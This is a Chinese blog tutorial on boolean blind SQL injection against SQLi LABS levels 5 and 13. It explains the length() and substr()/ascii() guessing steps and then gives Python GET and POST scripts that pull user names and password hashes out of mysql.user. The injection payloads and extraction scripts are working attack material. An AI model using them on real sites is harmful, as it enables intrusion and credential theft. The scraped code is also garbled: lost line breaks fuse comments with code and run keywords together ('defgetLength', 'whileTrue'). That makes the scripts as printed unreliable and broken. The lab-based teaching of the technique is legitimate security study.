「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》
布尔盲注
一、适用环境
页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
二、盲注步骤
布尔盲注使用时分为两个步骤:
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
三、原理分析
接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。
1. 长度判断原理
首先,利用MySQL的 length()函数 判断返回结果的长度是多少。
比如,我们判断 database()当前数据库 的长度,在地址栏输入:
?id=1' and length(database())=1-- a
执行流程如下:
页面异常(空)显示,表示猜解长度有误;
页面正常显示,表示猜解长度正确;
依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.
2. 穷举字符原理
查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。
推荐文章:ASCLL编码详解,ASCLL编码对照表
使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
页面异常(空)显示,表示猜解失误;
页面正常显示,表示猜解正确;
猜解流程如下:
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s
上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
四、步骤总结
适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况。
1. 判断注入点
同时满足以下两种情况:
?id=1' and 1 -- a 正常显示
?id=1'and0-- a 异常(空)显示
2. 判断长度
?id=1' and length( 查询语句 )=1-- a
3. 枚举字符
?id=1and ascii(substr( 查询语句 ,1,1))=32-- a
五、盲注脚本
手工盲注的时间复杂度非常大,通常会使用脚本盲注。
get请求盲注脚本:
import requests
# 只需要修改url 和 两个payload即可# 目标网址(不带参数)
url ="http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"# 猜解长度使用的payload
payload_len ="""?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""# 枚举字符使用的payload
payload_str ="""?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""# 获取长度defgetLength(url, payload):
length =1# 初始测试长度为1whileTrue:
response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if'You are in...........'in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)
length +=1# 测试长度递增# 获取字符defgetStr(url, payload, length):str=''# 初始表名/库名为空# 第一层循环,截取每一个字符for l inrange(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n inrange(33,126):
response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if'You are in...........'in response.text:str+=chr(n)print('第', l,'个字符猜解成功:',str)break;returnstr;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求盲注脚本:
import requests
# 网站路径
url ="http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"# 判断长度的payload
payload_len ="""a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""# 枚举字符的payload
payload_str ="""a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""# post请求参数
data={"uname":"a') or 1 -- a","passwd":"1","submit":"Submit"}# 判断长度defgetLen(payload_len):
length =1whileTrue:# 修改请求参数
data["uname"]= payload_len.format(n = length)
response = requests.post(url=url, data=data)# 出现此内容为登录成功if'../images/flag.jpg'in response.text:print('正在测试长度:', length)
length +=1else:print('测试成功,长度为:', length)return length;# 枚举字符defgetStr(length):str=''# 从第一个字符开始截取for l inrange(1, length+1):# 枚举字符的每一种可能性for n inrange(32,126):
data["uname"]= payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)if'../images/flag.jpg'in response.text:str+=chr(n)print('第', l,'个字符枚举成功:',str)break
length = getLen(payload_len)
getStr(length)
感谢你的点赞、收藏、评论,我是三日,祝你幸福。
版权归原作者 士别三日wyx 所有, 如有侵权,请联系我们删除。